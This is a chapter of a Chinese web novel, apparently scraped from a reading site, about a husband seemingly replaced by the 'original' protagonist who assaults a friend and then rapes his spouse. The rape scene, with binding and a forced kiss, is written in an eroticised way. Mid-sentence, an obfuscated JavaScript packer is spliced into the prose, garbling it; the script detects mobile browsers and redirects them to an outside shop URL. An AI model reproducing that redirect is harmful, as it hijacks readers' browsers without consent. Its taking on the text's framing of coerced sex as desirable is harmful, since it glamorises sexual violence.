默认冷灰
24号文字
方正启体

8. 第 8 章

作者:除夕子时雪本书字数:K更新时间:
    “我们不是……”余赋秋下意识地想解释,声音还带着哭后的沙哑。


    碎发紧贴在额角,衬得那双含水的眸子更为可怜,似乎只要一触碰,他整个人就会破碎般随风飞扬。


    长庭知脸上带着浅笑,却莫名让余赋秋感到恐惧,他咽了口水,想要往后退一步


    但左成双强忍着食指骨折的剧痛,用未受伤的手一把将余赋秋严实地护在自己身后,挺直脊背迎向长庭知冰冷的目光。


    “庭知,你冷静一点,赋秋情绪不太好,我在安慰他而已。”


    “安慰?”长庭知像是听到了什么极其荒谬的笑话,低低地笑了起来。


    那笑声在空旷的走廊里回荡,带着令人毛骨悚然的寒意。他一边笑,一边缓缓直起身,脱离了门框的支撑,一步步朝他们走来。


    明明身上还穿着病服,但是回荡在走廊里的脚步声却坚强有力,每一下都敲击在余赋秋的心脏上。


    “我的老婆在哭泣,你把他抱在怀里,这个叫安慰?”


    “噢,你所谓的安慰就是抱着他的腰,揉着他的头发,亲启在他的耳边说没事,有我在,然后他的丈夫就在一墙之外的门内。”


    “是不是下一秒你就要掀开我妻子的衣服,把你那恶心的玩意儿露出来给我妻子看呢?”


    “……长庭知!”


    左成双的脸色涨红,他和长庭知一同长大,是孤儿院里最为要好的朋友,在刚才一秒,他对于朋友的妻子确实是生了不该有的想法,但也不应该被这样说。


    “我只是……”


    左成双的话音未落。


    长庭知猛地挥拳,速度快得惊人,狠狠砸向左成双的腹部。


    “唔!”左成双猝不及防,痛得闷哼一声,身体不受控制地向前弯曲,几乎跪倒在地。


    “成双!”余赋秋失声惊呼,看到左成双为了保护自己而再次受伤,愧疚和愤怒瞬间冲垮了恐惧。


    他猛地从左成双身后冲出来,不顾一切地张开双臂,像一只护崽的母鸡,用自己单薄的身体挡在了左成双面前,对着长庭知喊道:“你住手!不关他的事!”


    长庭知的拳头,在距离余赋秋鼻尖只有几厘米的地方,硬生生停住了。


    他看着余赋秋这副为了保护另一个男人,而对自己怒目而视的模样,胸腔里翻涌的暴戾和某种尖锐的、名为嫉妒的毒火,几乎要将他最后的理智焚烧殆尽。


    他怒到了极致,脸上反而绽开一个更加冰冷、也更加扭曲的笑容。


    “好,很好。”他盯着余赋秋,眼神幽深得如同噬人的漩涡。


    下一秒,在余赋秋和痛苦蜷缩的左成双都未能反应过来的瞬间,长庭知猛地伸手,一把扣住余赋秋的后颈,将他狠狠地掼向自己,低头,带着惩罚和毁灭的意味,粗暴地封住了他那张还想为别人辩解的唇!


    “呜——!”


    余赋秋惊恐地睁大眼睛,拼命挣扎,双手用力推拒着长庭知的胸膛。


    长庭知却像是毫无知觉,他的吻如同狂风暴雨,带着不容反抗的强势,撬开他的牙关,肆意掠夺,甚至刻意啃咬,让血腥味再次在两人唇齿间蔓延。


    “不要……”


    余赋秋喉间的话语被长庭知尽数吞吃入腹,发出细碎的低吟。


    ——!


    余赋秋忽然睁大了眼睛,长庭知另外一只手,撩起他的衣角,冰冷的空气钻入他的肌肤,他忍不住打了个颤,紧接着,灼热的温度顺着肌肤的脉络逐步往上攀爬。


    修长的指尖在肚脐处打着圈儿,慢慢地游走在他的腰际,余赋秋剧烈的挣扎起来,只是长庭知一按,他整个人如同水一般倒了下去。


    长庭知的眼眸闪过愉悦的笑意,他重重地在余赋秋的唇瓣上咬了一口,满足地看着那双已经红肿的唇。


    余赋秋浑身剧烈地颤抖起来,屈辱的泪水夺眶而出。


    一吻结束,长庭知稍稍退开,手指轻佻地划过他滚烫的脸颊,声音低沉而残忍,带着十足的羞辱:


    “看看你这副样子……身体早就被我调教得这么敏感了,嗯?”


    “就他这样的……”他轻蔑地瞥了一眼跪在地上的左成双,“……能满足得了你吗?”


    “嗯?”


    他单手将余赋秋抱入怀中,另外一只手在看不见的地方探入隐秘的角落,而左成双能看见的只有那颤抖的身躯。


    “啪——!”


    一声清脆响亮的耳光,骤然响起!


    余赋秋用尽了全身力气,狠狠地扇在了长庭知的脸上!


    时间仿佛在这一刻静止。


    余赋秋的手僵在半空,掌心火辣辣地疼。他气得浑身发抖,眼泪流得更凶,那双漂亮的眼睛里充满了被羞辱后的愤怒和伤心。


    长庭知的脸被打得偏了过去,白皙的脸颊上迅速浮现出清晰的指印。


    他缓缓地、缓缓地转过头,看向余赋秋。


    那双深不见底的眼眸里,所有的暴怒和戏谑都消失了,只剩下一种极度危险的、晦暗不明的风暴在凝聚。


    那里面的寒意,让余赋秋瞬间如坠冰窖。


    “呵。”他极其轻微地笑了一声。


    然后,不再给任何人反应的机会,他猛地弯下腰,将余赋秋一把扛上肩头!


    “放开我!长庭知!你放开我!”余赋秋惊恐地挣扎,捶打着他的后背。


    长庭知却充耳不闻,任由肩上的猎物徒劳反抗。


    他甚至没有再看瘫倒在地、目眦欲裂的左成双一眼,扛着不断挣扎的余赋秋,转身,大步走回病房。


    “嘭——!”


    病房门被狠狠甩上,发出一声巨响,彻底隔绝了内外。


    余赋秋被长庭知扔到了病床上,他挣扎着想逃,刚起身想要爬走,长庭知抓着他的脚踝把他拖了回来,将他压在身下,将输液管捆绑在余赋秋的双手上。


    美人眼眸含泪,纤细的脖子仰起头,像一只濒死的天鹅。


    长庭知笑着抚摸他的肚子:“还想跑?”


    “怎么,那个野男人可以满足你?”


    “行啊,我让你知道,到底是谁更能满足你。”


    “……长庭知,你混蛋!”


    余赋秋破碎的声音带哭音。


    “……”


    门内,隐约传来余赋秋被堵住嘴的呜咽和更加激烈不停歇的声音。


    门外,左成双捂着腹部,抱着断指,靠着墙壁,眼睁睁看着这一切发生,眼中充满了痛苦、愤怒和深深的无力感,一拳狠狠砸在地上,指节瞬间破皮流血。


    ……


    余赋秋醒的时候,身体上下没有一处完好的地方,密密麻麻的吻痕布满了全身,鼓起的肚子似乎还能听见水声。


    他蜷缩起来,将自己埋在被子里面。


    昨天疯狂的记忆没入他的脑海,长庭知摸着他的肚子,止不住地亲吻着他,“宝宝……这里有我的形状了。”


    “你是我的,你是我的,谁也夺不走……”


    ——就好像是他的丈夫回来了。


    可是他的丈夫从来不会这么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124673|196008||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    粗暴的对待他。


    余赋秋的身体萧索的如同秋风的落叶,等他缓过神来,一抹脸,尽然是冰冷的泪水。


    “赋秋。”


    房间的门被敲响了。


    余赋秋小心翼翼探出脑袋,才发觉自己已经不在医院了,而是在他们的家。


    褚宝梨轻轻敲了敲门,“……你还好吗?”


    褚宝梨从来没有见过那样子的弟弟,自从她找回弟弟后,弟弟一向都是很温和的性子,可昨晚,他像是一头发疯的野兽,撕咬着怀中的猎物,把猎物叼回自己的领地。


    她在客厅给他们开门,却被长庭知暴怒着说滚,随即把她关在了房门外,透过厚重的门,她都可以听见客厅里传来不堪的声音,还有余赋秋细弱的求饶声。


    第二天,长庭知又好似什么也没发生,从房间出来,空气中的味道还没有散去,对着褚宝梨微微一笑,“姐,或许你很快要有小侄女了。”


    褚宝梨不可置信地瞪大眼睛看着长庭知。


    先前余赋秋还是瞒着长庭知怀孕,在这个时代,男人虽然可以生子,但多少是九死一生的事情,等到彻底没办法打胎了,余赋秋才告诉长庭知。


    后来长庭知在生产的房门外整整哭了一天,然后当着所有人的面,跪在地上握着刚生产完余赋秋的手,“老婆,不生了,我们再也不生了……“


    这段视频还被助理拍了下来,发到网上成为粉丝打趣事。


    “啊对了,他叫什么?”


    长庭知狭长的眸子微眯了起来,脸上尽是餍足的神情,“怪不得‘我’会选择他当情妇呢,确实很合我口味……”


    褚宝梨告知长庭知一些基本的事情,长庭知很快表示没了兴致,扣好衣袖,就离开了家。


    “姐……他不是庭知,他不是我的庭知……”


    他的庭知从来不会这么冷淡对他,从来不会不顾及他的意愿强迫他,更不会把他一个人扔在漆黑的房间里。


    余赋秋终于在这一刻确定了,剧情是彻底的开始了,原书的主角攻,真的回来了。


    可是,可是——


    他在犹豫什么?


    理智告诉他,他应该提出离婚,彻底带着春春远走高飞,主角受和主角攻注定会相遇的,他只是一个路人炮灰而已。


    “万一呢,万一他会回来呢?”


    褚宝梨轻声道,她从包里拿出了一个包裹,轻轻地放在余赋秋的门口。


    “赋秋,这是庭知寄过来的包裹,不过是今天才到,我没有给他看,我先放这里了。”


    “吴叔做好了饭,在楼下,你记得吃点。”


    等到褚宝梨的声音消失了,余赋秋才连滚带爬,连衣服都没穿好,手忙脚乱地打开了门,从缝隙中看到了一个小巧的包裹。


    他颤抖着手去将小包裹拿过来,只见上面挂着一个小小、漂亮的水晶球。


    而在水晶球的下面挂着寄件的日子。


    【——寄给我最最最可爱的球球。】


    再看清字体的一瞬间。


    泪水盈满了余赋秋的眼眶。


    庭知,庭知,你在哪里……


    他抱着小包裹失声痛哭。


    我好痛啊,我真的好痛啊,你抱抱我,抱抱我好不好。


    身体好痛,心也好痛。


    如果这时候长庭知在他的身边,一定会把他抱在怀里,轻轻吻去他脸上的泪水。


    告诉他不怕不痛,痛痛都飞走了。


    他的庭知——


    才舍不得弄疼他。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)